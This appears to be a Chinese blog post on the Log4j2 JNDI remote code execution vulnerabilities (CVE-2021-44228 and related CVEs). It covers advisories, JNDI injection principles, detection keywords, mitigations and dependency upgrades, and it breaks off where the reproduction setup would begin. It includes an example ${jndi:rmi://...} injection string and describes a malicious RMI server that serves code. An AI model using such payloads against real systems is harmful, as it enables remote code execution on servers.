Log4j2 远程代码执行漏洞复现

2021.12.20

1、Log4j2漏洞影响

Log4j1.x版本已被广泛用于很多应用程序中。越来越难以维护,需要严格遵循很老的Java版本

Log4j 2被设计为可以作为审计框架使用。Log4j 1.x和Logback都会在重新配置的时候失去事件,Log4j 2不会。在Logback中,Appender当中的异常对应用从来都是不可见。Log4j 2的Appender可以设置为允许将异常渗透给应用程序

Log4j 2包含基于LMAX Disruptor库的下一代异步日志器。多线程情况下,异步日志器具有比Log4j 1.x和Logback高出10倍的吞吐性能以及更低的延迟

Log4j 2在稳定记录状态下,对单机应用是无垃圾的,对Web应用是低垃圾的。不仅降低了垃圾回收器的压力,还提供更好的响应性能

Log4j 2使用插件系统非常容易通过新的Appender、Filter、Layout、Lookup和Pattern Converter来扩展框架,并且不需要对Log4j做任何修改,配置项不需要声明类名称

支持自定义日志级别

自定义日志级别可以在代码或配置中定义。

支持Lambda表达式

运行在Java 8上的客户端代码可以使用Lambda表达式来实现仅在对应的日志级别启用时延迟构造日志消息。不需要明确地审计,可以使用更简洁的代码

支持Message对象

Message允许支持感兴趣或复杂的结构体在日志系统中传输,且可以被高效地操作。用户可以自由地创建自己的Message类型,编写自定义的Layout、Filter和Lookup进行操作

Log4j 1.x支持Appender上的Filter。Logback引入了TurboFilter来在事件被Logger处理之前对它们进行过滤。
Log4j 2支持的Filter可以设置为在被Logger接管之前即处理事件,如同它在Logger或Appender中被处理。
很多Logback的Appender不接受一个Layout,且只能发送固定格式的数据。而大多数Log4j 2的Appender接受Layout,允许数据以任意一种所需的格式传输

Log4j 1.x和Logback中的Layout返回一个String。导致在Logback Encoder中讨论的问题
Log4j 2用更简单的方法,Layout总是返回一个字节数组
优点是可以用于任何Appender,而不仅仅是写入到OutputStream中的那些

Syslog Appender既支持TCP也支持UDP,同样支持BSD系统日志以及RFC 5424格式
Log4j 2利用了Java 5的并发优势,并在尽可能最低的程度上进行锁定。
Log4j 1.x中存在死锁问题。其中很多已经在Logback中修复,但Logback的class文件仍然需要在更高的编译级别中同步

架构

应用程序要使用Log4j 2的API,需要从LogManager中获取一个有明确名称的Logger
LogManager将会定位到一个合适的LoggerContext并且从中获取Logger

如果Logger必须被创建,那么它会和包含这些信息的LogConfig相关联
a)与Logger相同的名称;
b)父包的名称;
c)根LoggerConfig。LoggerConfig对象根据配置中的Logger声明而创建

LoggerConfig与实际处理LogEvent事件的Appender关联

Apache Log4j 2

Apache Log4j 2是Log4j的升级版,对其前身Log4j 1.x进行了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。

重要:安全漏洞 CVE-2021-45105

Log4j 团队已经意识到一个安全漏洞 CVE-2021-45105,该漏洞已在 Java 8 及更高版本的 Log4j 2.17.0 中得到解决。

简介: Apache Log4j2 在查找评估中并不总是能防止无限递归。

Apache Log4j2 版本 2.0-alpha12.16.0 没有防止来自自引用查找的不受控制的递归。当日志记录配置使用非默认的模式布局和上下文查找(例如,$${ctx:loginId})时,控制线程上下文映射 (MDC) 输入数据的攻击者可以手工创建包含递归查找的恶意输入数据,从而导致 StackOverflowError 将终止进程。这也称为 DOS(拒绝服务)攻击

缓解

从版本2.17.0(对于Java 8)开始,只有配置中的查找字符串以递归方式扩展;在任何其他用法中,仅解析顶级查找,而不解析任何嵌套查找。

在以前的版本中,可以通过确保日志记录配置执行以下操作来缓解此问题:

在日志记录配置的 PatternLayout 中,将上下文查找(如 ${ctx:loginId}或 $${ctx:loginId})替换为 Thread Context Map 模式(%X、%mdc 或 %MDC)
否则,在配置中,删除对上下文查找的引用,如 ${ctx:loginId} 或 $${ctx:loginId},其中它们源自应用程序外部的源,如 HTTP 标头或用户输入

重要:安全漏洞 CVE-2021-45046

该漏洞已在 Java 7Log4j 2.12.2 和 Java 8 及更高版本的 2.16.0 中得到解决

摘要: 在某些非默认配置中,Apache Log4j2 线程上下文查找模式容易受到远程代码执行的攻击。

发现在某些非默认配置中,Apache Log4j 2.15.0中解决CVE-2021-44228的修复程序不完整。当日志记录配置使用非默认的模式布局和上下文查找(例如,$${ctx:loginId})时,控制线程上下文映射(MDC)输入数据的攻击者可以使用JNDI查找模式制作恶意输入数据,从而导致信息泄漏和远程代码执行在某些环境中以及本地代码执行在所有环境中;在 macOS 上已经演示了远程执行代码,但没有其他经过测试的环境。

请注意,以前涉及配置的缓解措施(如将系统属性 log4j2.formatMsgNoLookups 设置为 true)并不能缓解此特定漏洞的影响。

缓解

V2.12.2(对于 Java 7)中,默认情况下,Log4j 禁用对 JNDI 的访问。现在需要在配置中显式启用 JNDI 的使用。对 JndiLookup 的调用现在将返回一个常量字符串。此外,Log4j现在默认将协议限制为仅java。邮件查找功能已被完全删除。配置中的查找仍然有效。

从版本 2.16.0(对于 Java 8)开始,消息查找功能已完全删除。配置中的查找仍然有效。此外,Log4j 现在缺省情况下会禁用对 JNDI 的访问。建议用户不要在 Log4j 2.16.0 中启用 JNDI如果需要 JMS 追加器,请使用 Log4j 2.12.2

重要:安全漏洞 CVE-2021-44228

该漏洞已在 Log4j 2.12.2Log4j 2.16.0 中得到解决。

总结:Log4j的JNDI支持没有限制可以解析的名称。某些协议不安全或可能允许远程执行代码。

允许暴露于此漏洞的一个向量是Log4j允许查找出现在日志消息中。这意味着,当记录用户输入并且该用户输入包含指向恶意服务器的 JNDI 查找时,Log4j 将解析该 JNDI 查找,连接到该服务器,并可能从该远程服务器下载序列化的 Java 代码。这反过来又可以在反序列化期间执行任何代码。这称为 RCE(远程执行代码)攻击。

缓解

V2.12.2(对于 Java 7)中,默认情况下,Log4j 禁用对 JNDI 的访问。现在需要在配置中显式启用 JNDI 的使用。对 JndiLookup 的调用现在将返回一个常量字符串。此外,Log4j现在默认将协议限制为仅java。邮件查找功能已被完全删除。配置中的查找仍然有效。

从版本 2.16.0(对于 Java 8)开始,消息查找功能已完全删除。配置中的查找仍然有效。此外,Log4j 现在缺省情况下会禁用对 JNDI 的访问。建议用户不要在 Log4j 2.16.0 中启用 JNDI如果需要 JMS 追加器,请使用 Log4j 2.12.2

2、JNDI 注入原理

JNDI(The JAVA Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)
JNDI客户端调用方式
//指定需要查找name名称
String jndiName= "jndiName";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);
这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。

RMI的利用

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

LDAP的利用

LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

总结

JNDI注入漏洞很常见,在fastjson/jackson中会调用getter/setter方法,如果在getter/setter方法中存在lookup方法并且参数可控就可以利用,可以看下jackson的黑名单https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java来学习哪些类可以拿来JNDI注入。在weblogic t3协议中基于序列化数据传输,那么会自动调用readObject方法,weblogic使用了Spring框架JtaTransactionManager类,这个类的readObject方法也存在JNDI注入调用链

3、log4j RCE漏洞原理

log4j2 RCE 通过 JNDI 注入完成,具体有 RMI 协议的方式和 LDAP 协议等不同方式,以 RMI 方式为例做复现步骤和根因分析

基本注入原理流程图

在这里插入图片描述

发布一个 RMI 服务,服务绑定一个 reference 类型的 RMI 对象。该对象指定远端含有恶意代码的类。例如包含了 system.exit(1) ,以及这个类可以在哪里下载

还需发布另一个 simple download jar 服务,服务可以下载上述含有恶意代码的类

利用 log4j2 的漏洞注入 RMI 调用
例如:logger.error("hello test for ${jndi:rmi://rim-service:port/refobj}")。

RMI 调用得到 reference 类型的 RMI 远程对象,该对象自己加载恶意类,然后执行

4、log4j RCE漏洞影响范围和排查方法

在这里插入图片描述
Apache Log4j----Apache的开源项目,Apache log4j2是Log4j的升级版本,可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,更加细致地控制日志的生成过程。

漏洞概述

12月9日,网上披露Apache Log4j2 远程代码执行漏洞,由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码。漏洞POC已公开,默认配置即可利用,该漏洞影响范围极广,建议相关用户尽快采取措施进行排查与防护。
12月10日,Apache Log4j 2.15.0-rc1 版本仅修复LDAP增加了host白名单,可以被绕过利用,官方发布了Apache Log4j 2.15.0-rc2版本进行修复,增加了对urI异常的处理

Apache Log4j2是一款开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中,用来记录日志信息。

漏洞成功复现信息

在这里插入图片描述

不受影响版本

Apache log4j-2.15.0-rc2(与官网的2.15.0稳定版相同)

漏洞检测

人工检测

1、java jar解压后查看是否存在org/apache/logging/log4j相关路径结构,判断是否存在使用的漏洞组件,如果存在相关java程序包,说明很有可能存在漏洞。
2、程序使用gradle打包,可以查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0-rc2,说明存在该漏洞。

修复前:

dependencies {
  compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.12.1'
  compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.12.1'
}

修复后:
dependencies {
  compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
  compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
}

3、若程序使用maven打包,查看项目的pom.xml文件中是否存在下图所示相关字段,若版本号为小于2.15.0-rc2,说明存在该漏洞。

修复前:

dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.12.1</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.12.1</version>
  </dependency>
</dependencies>

修复后:
<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
  </dependency>
</dependencies>

攻击排查

攻击者在利用前通常采用 dnslog 方式进行扫描、探测,对于常见利用方式可通过应用系统报错日志中的

javax.naming.CommunicationException”、
“javax.naming.NamingException: problem generating object using object factory”、”Error looking up JNDI resource”

关键字进行排查。

流量排查

攻击者的数据包中可能存在:“${jndi:rmi”、“${jndi:ldap” 字样

漏洞缓解措施:

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本。

官方文档:

https://logging.apache.org/log4j/2.x/maven-artifacts.html

5、log4j RCE漏洞修复方法

log4j2 快速修复措施

修改log4j2版本

Apache 官方最新信息显示,release 已经更新 Log4j 2.15.0 版本,主要是log4j-core包,漏洞就是在这个包里产生的,如果程序用到,尽快升级

临时解决方案----框架次加载 Apache Log4j2

1.设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”

2.设置“log4j2.formatMsgNoLookups=True”

3.系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”

4.关闭对应应用的网络外连,禁止主动外连

5.部署第三方防火墙产品

Apache Maven 版本

修改pom.xml

<dependencies> 
<dependency> 
<groupId>org.apache.logging.log4j</groupId> 
<artifactId>log4j-api</artifactId> 
<version>2.15.0-rc2</version> 
</dependency> 
<dependency> 
<groupId>org.apache.logging.log4j</groupId> 
<artifactId>log4j-core</artifactId> 
<version>2.15.0-rc2</version> 
</dependency>
</dependencies>

Gradle 版本

修改build.gradle

dependencies { compile group: 'org.apache.logging.log4j', 
name: 'log4j-api', 
version: '2.15.0-rc2' 
compile group: 'org.apache.logging.log4j', name: 'log4j-core', 
version: '2.15.0-rc2'}

6、log4j 漏洞复现

环境搭建

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

暴龙振翅飞翔

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值